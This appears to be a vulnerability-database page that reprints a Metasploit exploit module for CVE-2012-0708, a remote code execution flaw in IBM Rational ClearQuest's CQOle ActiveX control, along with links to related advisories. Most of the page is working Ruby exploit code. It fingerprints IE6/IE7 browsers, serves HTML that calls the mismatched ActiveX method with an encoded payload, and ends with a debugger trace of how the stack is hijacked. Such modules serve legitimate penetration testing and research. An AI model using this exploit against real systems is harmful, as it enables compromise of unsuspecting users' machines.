IBM Rational ClearQuest CQOle Remote Code Execution

🗓️ 03 Jul 2012 17:03:58Reported by Andrea Micalizzi aka rgod, juan vazquez <[email protected]>Type

IBM Rational ClearQuest CQOle Remote Code Execution. Exploits function prototype mismatch on CQOle ActiveX control, allowing reliable remote code execution in IBM Rational ClearQuest < 7.1.1.9, < 7.1.2.6 or < 8.0.0.

Reporter	Title	Published	Views	Family All 18
0day.today	IBM Rational ClearQuest CQOle Remote Code Execution	4 Jul 201200:00	–	zdt
IBM Security Bulletins	Security Bulletin: Rational ClearQuest CQOle ActiveX Control Remote Execution Vulnerability (CVE-2012-0708)	17 Jun 201804:36	–	ibm
Circl	CVE-2012-0708	5 Jul 201200:00	–	circl
Check Point Advisories	IBM Rational ClearQuest CQOle ActiveX Code Execution (CVE-2012-0708)	2 Jul 201200:00	–	checkpoint_advisories
CVE	CVE-2012-0708	22 Apr 201218:00	–	cve
Cvelist	CVE-2012-0708	22 Apr 201218:00	–	cvelist
d2	DSquare Exploit Pack: D2SEC_CLEARQUEST	22 Apr 201218:55	–	d2
Exploit DB	IBM Rational ClearQuest CQOle - Remote Code Execution (Metasploit)	5 Jul 201200:00	–	exploitdb
Tenable Nessus	IBM Rational ClearQuest 7.1.1.x < 7.1.1.9 / 7.1.2.x < 7.1.2.6 / 8.0.0.x < 8.0.0.2 Multiple Vulnerabilities (credentialed check)	29 May 201200:00	–	nessus
NVD	CVE-2012-0708	22 Apr 201218:55	–	nvd

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  #include Msf::Exploit::Remote::BrowserAutopwn
  #autopwn_info({
  #  :ua_name    => HttpClients::IE,
  #  :ua_minver  => "6.0",
  #  :ua_maxver  => "7.0",
  #  :javascript => true,
  #  :os_name => OperatingSystems::Match::WINDOWS,
  #  :classid    => "{94773112-72E8-11D0-A42E-00A024DED613}",
  #  :method     => "RegisterSchemaRepoFromFileByDbSet",
  #  :rank       => NormalRanking
  #})

  def initialize(info={})
    super(update_info(info,
      'Name'           => "IBM Rational ClearQuest CQOle Remote Code Execution",
      'Description'    => %q{
          This module exploits a function prototype mismatch on the CQOle ActiveX
        control in IBM Rational ClearQuest < 7.1.1.9, < 7.1.2.6 or < 8.0.0.2 which
        allows reliable remote code execution when DEP isn't enabled.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Andrea Micalizzi aka rgod', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2012-0708' ],
          [ 'BID', '53170' ],
          [ 'OSVDB', '81443'],
          [ 'ZDI', '12-113' ],
          [ 'URL', 'http://www-304.ibm.com/support/docview.wss?uid=swg21591705' ],
          [ 'URL', 'https://www.rapid7.com/blog/post/2012/07/11/it-isnt-always-about-buffer-overflow' ]
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'DefaultOptions'  =>
        {
          'EXITFUNC' => 'thread',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # cqole.dll 7.1100.0.150
          [ 'Automatic', {} ],
          [ 'IE 6 / IE7 (No DEP)', {} ], # Because of the nature of the vulnerability no DEP is a requisite
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2012-05-19',
      'DefaultTarget'  => 0))
  end

  def get_target(agent)
    #If the user is already specified by the user, we'll just use that
    return target if target.name != 'Automatic'

    if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
      return targets[1]  #IE 6 on Windows XP
    elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
      return targets[1]  #IE 7 on Windows XP
    elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7/
      return targets[1]  #IE 7 on Windows Vista
    else
      return nil
    end
  end

  def on_request_uri(cli, request)
    agent = request.headers['User-Agent']
    my_target = get_target(agent)

    # Avoid the attack if the victim doesn't have the same setup we're targeting
    if my_target.nil?
      print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
      send_not_found(cli)
      return
    end

    js_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(my_target.arch))
    object_id = rand_text_alpha(rand(8) + 4)
    dbset_value = rand_text_alpha(rand(8) + 4)
    var_payload = rand_text_alpha(rand(8) + 4)

    html = <<-EOS
    <html>
    <body>
    <object id='#{object_id}' classid='clsid:94773112-72E8-11D0-A42E-00A024DED613'></object>
    <script language="JavaScript">
    var #{var_payload} = unescape("#{js_code}")
    #{object_id}.RegisterSchemaRepoFromFileByDbSet("#{dbset_value}", #{var_payload});
    </script>
    </body>
    </html>
    EOS

    html = html.gsub(/^ {4}/, '')

    print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")
    send_response(cli, html, {'Content-Type'=>'text/html'})

  end
end

=begin

* RegisterSchemaRepoFromFile and no RegisterSchemaRepoFromFileByDbSet is called:

Breakpoint 0 hit
eax=3190b1a0 ebx=00000000 ecx=03015cf0 edx=7835f5d2 esi=0013e200 edi=0000000c
eip=78371062 esp=0013e204 ebp=0013e2b4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
MFC80U!_AfxDispatchCall+0xe:
78371062 ffd0            call    eax {cqole!OAdSession::RegisterSchemaRepoFromFile (3190b1a0)}

* RegisterSchemaRepoFromFile prototype (it is going to be executed):

.text:31865E40 ; protected: wchar_t * __thiscall OAdAdminSession::RegisterSchemaRepoFromFile(wchar_t const *)

his ret is: retn    4

* RegisterSchemaRepoFromFileByDbSet prototype (it should be executed):

.text:31866280 ; protected: wchar_t * __thiscall OAdAdminSession::RegisterSchemaRepoFromFileByDbSet(wchar_t const *, wchar_t const *)

his ret is: retn    8

* When RegisterSchemaRepoFromFile returns to MFC80U!_AfxDispatchCall it is what happens:

0:000> p
eax=00186864 ebx=00000000 ecx=442d618d edx=00070001 esi=0013e200 edi=0000000c
eip=78371064 esp=0013e208 ebp=0013e2b4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
MFC80U!_AfxDispatchCall+0x10:
78371064 c3              ret
0:000> dd esp
0013e208  001dcff4 7835f5d2 fffffffe 78336a3a

ESP is pointing to the second argument of RegisterSchemaRepoFromFileByDbSet and no to the stored EIP on
the stack. The ret from MFC80U!_AfxDispatchCall allows to get control on a reliable way when DEP is
disabled

=end

16 Feb 2022 23:22Current

7.8High risk

Vulners AI Score7.8

CVSS 29.3

EPSS0.3095